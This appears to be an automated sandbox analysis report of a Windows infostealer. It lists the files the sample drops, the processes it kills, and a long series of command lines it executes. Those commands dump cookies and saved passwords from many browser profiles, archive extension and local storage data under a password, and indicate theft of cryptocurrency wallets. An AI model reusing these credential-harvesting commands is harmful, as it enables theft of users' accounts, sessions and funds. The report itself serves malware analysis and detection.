Technical Information
Malicious functions
Executes the following
- '%WINDIR%\syswow64\taskkill.exe' /F /IM software_reporter_tool.exe
- '%WINDIR%\syswow64\taskkill.exe' /F /IM SMΔRTP.exe
- '%WINDIR%\syswow64\taskkill.exe' /F /IM browser.exe
Launches a large number of processes
Modifies file system
Creates the following files
- %TEMP%\a756.tmp\sysplayer.apple.bat
- %TEMP%\9636.tmp\service.oracle.32.64-bit(587)go+.bat
- %LOCALAPPDATA%\apple\--incognito\a-h17network.ico
- %LOCALAPPDATA%\apple\--incognito\a-h16network.ico
- %LOCALAPPDATA%\apple\--incognito\a-h15network.ico
- %LOCALAPPDATA%\google\chrome\alkun\oracle.32.64bit.serviceВ®.exe
- %LOCALAPPDATA%\apple\--incognito\a-h14network.ico
- %LOCALAPPDATA%\apple\--incognito\a-h13network.ico
- %LOCALAPPDATA%\apple\--incognito\a-h12network.ico
- %TEMP%\a756.tmp\oraclejava.exe
- %LOCALAPPDATA%\apple\--incognito\a-h11network.ico
- %LOCALAPPDATA%\apple\--incognito\a-h10network.ico
- %LOCALAPPDATA%\google\chrome\alkun\oracle.xgen.exe
- %LOCALAPPDATA%\apple\--incognito\a-h9network.ico
- %LOCALAPPDATA%\apple\--incognito\a-h8network.ico
- %LOCALAPPDATA%\apple\--incognito\a-h7network.ico
- %LOCALAPPDATA%\apple\--incognito\a-h6network.ico
- %TEMP%\a756.tmp\oracle.java.dat
- %TEMP%\a756.tmp\oracle.xgen.kunci.deb
- %TEMP%\a756.tmp\aescrypt2
- %TEMP%\a756.tmp\aescrypt2.exe
- %TEMP%\a756.tmp\oracle.kunci.exe
- %TEMP%\7c9e.tmp\(bukaoracle')firts.bat
- %LOCALAPPDATA%\apple\--incognito\a-h5network.ico
- %LOCALAPPDATA%\apple\--incognito\a-h4network.ico
- %LOCALAPPDATA%\google\chrome\user data\--incognito\extens.txt
- %LOCALAPPDATA%\apple\--incognito\a-h30network.ico
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
- %APPDATA%\brave\c++-j+ipmac.txt
- %LOCALAPPDATA%\apple\--incognito\brave1.ico
- %LOCALAPPDATA%\apple\--incognito\brav1.ico
- %LOCALAPPDATA%\apple\--incognito\bravdef.ico
- %LOCALAPPDATA%\apple\--incognito\opernetwork.ico
- %LOCALAPPDATA%\apple\--incognito\bravedef.ico
- %LOCALAPPDATA%\apple\--incognito\oper.ico
- %LOCALAPPDATA%\apple\--incognito\cryptotabnet.ico
- %LOCALAPPDATA%\apple\--incognito\a-h5.ico
- %LOCALAPPDATA%\apple\--incognito\chromeplusnet.ico
- %LOCALAPPDATA%\apple\--incognito\cocnet.ico
- %LOCALAPPDATA%\apple\--incognito\a-h4.ico
- %LOCALAPPDATA%\apple\--incognito\a-h3network.ico
- %LOCALAPPDATA%\apple\--incognito\a-h3.ico
- %LOCALAPPDATA%\apple\--incognito\a-h29network.ico
- %LOCALAPPDATA%\apple\--incognito\a-h28network.ico
- %LOCALAPPDATA%\apple\--incognito\a-h27network.ico
- %LOCALAPPDATA%\apple\--incognito\a-h26network.ico
- %LOCALAPPDATA%\apple\--incognito\a-h25network.ico
- %LOCALAPPDATA%\apple\--incognito\a-h24network.ico
- %LOCALAPPDATA%\apple\--incognito\a-h23network.ico
- %LOCALAPPDATA%\apple\--incognito\a-h22network.ico
- %LOCALAPPDATA%\apple\--incognito\a-h21network.ico
- %LOCALAPPDATA%\apple\--incognito\a-h20network.ico
- %LOCALAPPDATA%\apple\--incognito\a-h19network.ico
- %LOCALAPPDATA%\google\chrome\alkun\oracle-ft++++.deb
- %LOCALAPPDATA%\apple\--incognito\a-h18network.ico
- %LOCALAPPDATA%\apple\--incognito\a-h2network.ico
- %TEMP%\19d6.tmp\services.cek(authimpt-etc).bat
- nul
- %WINDIR%\syswow64\java\jawa\c.o.s.r-v9'.cert
- %TEMP%\a756.tmp\(system.interrupts-on)firts .dmg
- %TEMP%\a756.tmp\korean.text
- %TEMP%\a756.tmp\u=ball.gif
- %TEMP%\a756.tmp\banking.exe
- %TEMP%\a756.tmp\c.o.s.r-v9'.cert
- %TEMP%\a756.tmp\cek-auth-.exe
- %TEMP%\a756.tmp\excludedfileslist.txt
- %TEMP%\a756.tmp\getapcc-v3-kunci.exe
- %TEMP%\a756.tmp\getkoperberjalur.exe
- %TEMP%\sysinfo-onsthn.txt
- %TEMP%\a756.tmp\oracle.license.exe
- %TEMP%\a756.tmp\rpm.txt
- %TEMP%\a756.tmp\smadav-help.exe
- %TEMP%\a756.tmp\smadav-tk.exe
- %TEMP%\a756.tmp\super.firts.extens.service.exe
- %TEMP%\a756.tmp\super.oracle.x32bit.service.exe
- %TEMP%\a756.tmp\super.tele.service.exe
- %TEMP%\a756.tmp\superdat-general.exe
- %TEMP%\a756.tmp\tarpower.exe
- %TEMP%\a756.tmp\taskhostscadanganjalan.exe
- %TEMP%\a756.tmp\zgit
- %TEMP%\a756.tmp\zgit.exe
- %TEMP%\a756.tmp\regforruntime.exe
- %LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe
- %LOCALAPPDATA%\apple\--incognito\a-h0network.ico
- %TEMP%\#authgeneralbit.reg
- %LOCALAPPDATA%\apple\--incognito\a-h2.ico
- %LOCALAPPDATA%\apple\--incognito\a-h1.ico
- %LOCALAPPDATA%\apple\--incognito\a-h0.ico
- %TEMP%\a756.tmp\v™.apx
- %TEMP%\6c0b.tmp\v.bat
- %LOCALAPPDATA%\apple\--incognito\a-hnetwork.ico
- %LOCALAPPDATA%\apple\--incognito\a-h.ico
- %TEMP%\smadav-tk.lnk
- %LOCALAPPDATA%\google\chrome\user data\--incognito\wallets.log
- %LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.services.dat
- %LOCALAPPDATA%\google\chrome\user data\--incognito\korean.dat
- %LOCALAPPDATA%\apple\--incognito\a-h1network.ico
- %LOCALAPPDATA%\google\chrome\user data\--incognito\exclusion.txt
- %TEMP%\55bd.tmp\super.ff.extens.bat
- %LOCALAPPDATA%\google\chrome\user data\--incognito\super.firts.extens.services.exe
- %LOCALAPPDATA%\apple\--incognito\superoracle-frs-2.certificate
- %LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe
- %TEMP%\4eac.tmp\super.oracle.x3dua-multi.bat
- %LOCALAPPDATA%\apple\--incognito\super.oracle.32.64bit.serviceВ®.exe
- %TEMP%\tar.tmp\mtr-tar.exe
- %LOCALAPPDATA%\google\chrome\user data\--incognito\periksa.txt
- %TEMP%\super.ff.cek++cable.ls
- %TEMP%\#trustwalletgeneralbit.reg
- %TEMP%\#metageneralbit.reg
- %TEMP%\cek-auth.exe
- %LOCALAPPDATA%\apple\--incognito\bravdefnetwork.ico
Deletes the following files
- %TEMP%\a756.tmp\super.firts.extens.service.exe
- %TEMP%\a756.tmp\oracle.java.dat
- %TEMP%\a756.tmp\oracle.xgen.kunci.deb
- %TEMP%\a756.tmp\aescrypt2
- %TEMP%\a756.tmp\aescrypt2.exe
- %TEMP%\a756.tmp\oracle.kunci.exe
- %TEMP%\a756.tmp\oraclejava.exe
- %LOCALAPPDATA%\google\chrome\user data\--incognito\extens.txt
- %TEMP%\6c0b.tmp\v.bat
- %TEMP%\a756.tmp\v™.apx
- %TEMP%\19d6.tmp\services.cek(authimpt-etc).bat
- %TEMP%\super.ff.cek++cable.ls
- %LOCALAPPDATA%\google\chrome\user data\--incognito\periksa.txt
- %TEMP%\#trustwalletgeneralbit.reg
- %TEMP%\#metageneralbit.reg
- %TEMP%\#authgeneralbit.reg
- %TEMP%\7c9e.tmp\(bukaoracle')firts.bat
- %TEMP%\a756.tmp\oracle.license.exe
Substitutes the following files
- %LOCALAPPDATA%\google\chrome\user data\--incognito\extens.txt
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
- ClassName: 'EDIT' WindowName: ''
Creates and executes the following
- '%TEMP%\a756.tmp\cek-auth-.exe'
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\BraveSoftware\Brave-Browser-Nightly\User Data\Profile 1\Cookies" /scookiestxt brav1.ico
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\BraveSoftware\Brave-Browser-Nightly\User Data\Default\Cookies" /scookiestxt bravdef.ico
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r -ed -x@exclusion.txt -pperetasint "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\Pro2"
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%APPDATA%\Opera Software\Opera Stable\Network\Cookies" /scookiestxt opernetwork.ico
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\BraveSoftware\Brave-Browser\User Data\Default\Cookies" /scookiestxt bravedef.ico
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%APPDATA%\Opera Software\Opera Stable\Cookies" /scookiestxt oper.ico
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r -ed -x@exclusion.txt -pperetasint "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\Pro1"
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\CryptoTab Browser\User Data\Default\Network\Cookies" /scookiestxt cryptotabnet.ico
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\CryptoTab Browser\User Data\Default\Cookies" /scookiestxt a-h5.ico
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\MapleStudio\ChromePlus\User Data\Default\Network\Cookies" /scookiestxt chromeplusnet.ico
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\BraveSoftware\Brave-Browser\User Data\Profile 1\Cookies" /scookiestxt brave1.ico
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r -ed -x@exclusion.txt -pperetasint "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\Pro3"
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\MapleStudio\ChromePlus\User Data\Default\Cookies" /scookiestxt a-h4.ico
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\CocCoc\Browser\User Data\Default\Cookies" /scookiestxt a-h3.ico
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 30\Network\Cookies" /scookiestxt a-h30network.ico
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r -ed "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 13\Sync Extension Settings"
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 29\Network\Cookies" /scookiestxt a-h29network.ico
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r -ed "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 12\Sync Extension Settings"
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 28\Network\Cookies" /scookiestxt a-h28network.ico
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 27\Network\Cookies" /scookiestxt a-h27network.ico
- '%LOCALAPPDATA%\google\chrome\alkun\oracle.xgen.exe' /stext alkunpass
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r -ed "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 11\Sync Extension Settings"
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r -ed -x@exclusion.txt -pperetasint "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\ProDefault"
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 10\Network\Cookies" /scookiestxt a-h10network.ico
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\BraveSoftware\Brave-Browser-Nightly\User Data\Default\Network\Cookies" /scookiestxt bravdefnetwork.ico
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r -ed -x@exclusion.txt -pperetasint "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\Pro14"
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r -ed -x@exclusion.txt -pperetasint "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\Pro13"
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r -ed -x@exclusion.txt -pperetasint "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\Pro12"
- '%TEMP%\tar.tmp\mtr-tar.exe' a -ep1 -r "%LOCALAPPDATA%\Apple\--incognito\ls.rar" "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 2\Local Storage\leveldb\Pro2"
- '%TEMP%\tar.tmp\mtr-tar.exe' a -ep1 -r "%LOCALAPPDATA%\Apple\--incognito\ls.rar" "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 1\Local Storage\leveldb\Pro1"
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r -ed -x@exclusion.txt -pperetasint "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\Pro11"
- '%TEMP%\tar.tmp\mtr-tar.exe' a -ep1 -r "%LOCALAPPDATA%\Apple\--incognito\ls.rar" "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Storage\leveldb\Default"
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r -ed -x@exclusion.txt -pperetasint "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\Pro10"
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r -ed -x@exclusion.txt -pperetasint "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\Pro9"
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r -ed -x@exclusion.txt -pperetasint "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\Pro8"
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r -ed -x@exclusion.txt -pperetasint "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\Pro7"
- '%LOCALAPPDATA%\google\chrome\alkun\oracle.xgen.exe' /LoadPasswordsIE 0 /LoadPasswordsFirefox 0 /LoadPasswordsOpera 0 /LoadPasswordsSafari 0 /UseChromeProfileFolder 1 /ChromeProfileFolder "%LOCALAPPDATA%\CryptoTab Browser\User Data\Default" /stex...
- '%LOCALAPPDATA%\google\chrome\alkun\oracle.xgen.exe' /LoadPasswordsIE 0 /LoadPasswordsFirefox 0 /LoadPasswordsOpera 0 /LoadPasswordsSafari 0 /UseChromeProfileFolder 1 /ChromeProfileFolder "%LOCALAPPDATA%\CocCoc\Browser\User Data\Default" /stext a...
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r -ed -x@exclusion.txt -pperetasint "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\Pro6"
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\AVAST Software\Browser\User Data\Default\Network\Cookies" /scookiestxt avastnet.ico
- '%LOCALAPPDATA%\google\chrome\alkun\oracle.xgen.exe' /LoadPasswordsIE 0 /LoadPasswordsFirefox 0 /LoadPasswordsOpera 0 /LoadPasswordsSafari 0 /UseChromeProfileFolder 1 /ChromeProfileFolder "%LOCALAPPDATA%\Google\Chrome\User Data\Default" /stext al...
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\Cookies" /scookiestxt edgenetwork.ico
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r -ed -x@exclusion.txt -pperetasint "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\Pro5"
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\Chromium\User Data\Default\Network\Cookies" /scookiestxt chmiumnetwork.ico
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt edge.ico
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r -ed -x@exclusion.txt -pperetasint "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\Pro4"
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\Chromium\User Data\Default\Cookies" /scookiestxt chmium.ico
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\BraveSoftware\Brave-Browser\User Data\Profile 1\Network\Cookies" /scookiestxt brave1network.ico
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 26\Network\Cookies" /scookiestxt a-h26network.ico
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\CocCoc\Browser\User Data\Default\Network\Cookies" /scookiestxt cocnet.ico
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r -ed "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 10\Sync Extension Settings"
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 25\Network\Cookies" /scookiestxt a-h25network.ico
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r -ed "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 9\Sync Extension Settings"
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 1\Cookies" /scookiestxt a-h1.ico
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 7\Network\Cookies" /scookiestxt a-h7network.ico
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 6\Network\Cookies" /scookiestxt a-h6network.ico
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 5\Network\Cookies" /scookiestxt a-h5network.ico
- '%TEMP%\a756.tmp\oracle.license.exe'
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 4\Network\Cookies" /scookiestxt a-h4network.ico
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 3\Network\Cookies" /scookiestxt a-h3network.ico
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 2\Network\Cookies" /scookiestxt a-h2network.ico
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 1\Network\Cookies" /scookiestxt a-h1network.ico
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 0\Network\Cookies" /scookiestxt a-h0network.ico
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt a-h2.ico
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r -ed "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Sync Extension Settings"
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 9\Network\Cookies" /scookiestxt a-h9network.ico
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 0\Cookies" /scookiestxt a-h0.ico
- '%TEMP%\a756.tmp\smadav-help.exe'
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Network\Cookies" /scookiestxt a-hnetwork.ico
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Cookies" /scookiestxt a-h.ico
- '%TEMP%\a756.tmp\smadav-tk.exe'
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\super.firts.extens.services.exe'
- '%TEMP%\a756.tmp\super.firts.extens.service.exe'
- '%LOCALAPPDATA%\apple\--incognito\super.oracle.32.64bit.serviceВ®.exe'
- '%TEMP%\a756.tmp\super.oracle.x32bit.service.exe'
- '%TEMP%\cek-auth.exe'
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r -ed -x@exclusion.txt -pperetasint "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\Pro15"
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\BraveSoftware\Brave-Browser-Nightly\User Data\Profile 1\Network\Cookies" /scookiestxt brav1network.ico
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r -ed "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 1\Sync Extension Settings"
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r -ed "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 2\Sync Extension Settings"
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 8\Network\Cookies" /scookiestxt a-h8network.ico
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 24\Network\Cookies" /scookiestxt a-h24network.ico
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 23\Network\Cookies" /scookiestxt a-h23network.ico
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r -ed "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 8\Sync Extension Settings"
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 22\Network\Cookies" /scookiestxt a-h22network.ico
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 21\Network\Cookies" /scookiestxt a-h21network.ico
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r -ed "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 7\Sync Extension Settings"
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 20\Network\Cookies" /scookiestxt a-h20network.ico
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r -ed "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 6\Sync Extension Settings"
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 19\Network\Cookies" /scookiestxt a-h19network.ico
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 18\Network\Cookies" /scookiestxt a-h18network.ico
- '%LOCALAPPDATA%\google\chrome\alkun\oracle.32.64bit.serviceВ®.exe'
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 17\Network\Cookies" /scookiestxt a-h17network.ico
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r -ed "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 5\Sync Extension Settings"
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 16\Network\Cookies" /scookiestxt a-h16network.ico
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 15\Network\Cookies" /scookiestxt a-h15network.ico
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r -ed "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 4\Sync Extension Settings"
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 14\Network\Cookies" /scookiestxt a-h14network.ico
- '%TEMP%\a756.tmp\oraclejava.exe'
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 13\Network\Cookies" /scookiestxt a-h13network.ico
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r -ed "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 3\Sync Extension Settings"
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 12\Network\Cookies" /scookiestxt a-h12network.ico
- '%TEMP%\a756.tmp\aescrypt2.exe' 1 oracle.kunci.exe oraclejava.exe @@12345@@
- '%LOCALAPPDATA%\apple\--incognito\ipm-.avast.exe' /CookiesFile "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 11\Network\Cookies" /scookiestxt a-h11network.ico
- '%LOCALAPPDATA%\google\chrome\user data\--incognito\tar-extens.exe' a -ep1 -r -ed -x@exclusion.txt -pperetasint "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\extens.txt" "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\Pro16"
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\A756.tmp\sysplayer.apple.bat" "
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\9636.tmp\service.oracle.32.64-bit(587)go+.bat" "
- '%WINDIR%\syswow64\ipconfig.exe'
- '%WINDIR%\syswow64\getmac.exe'
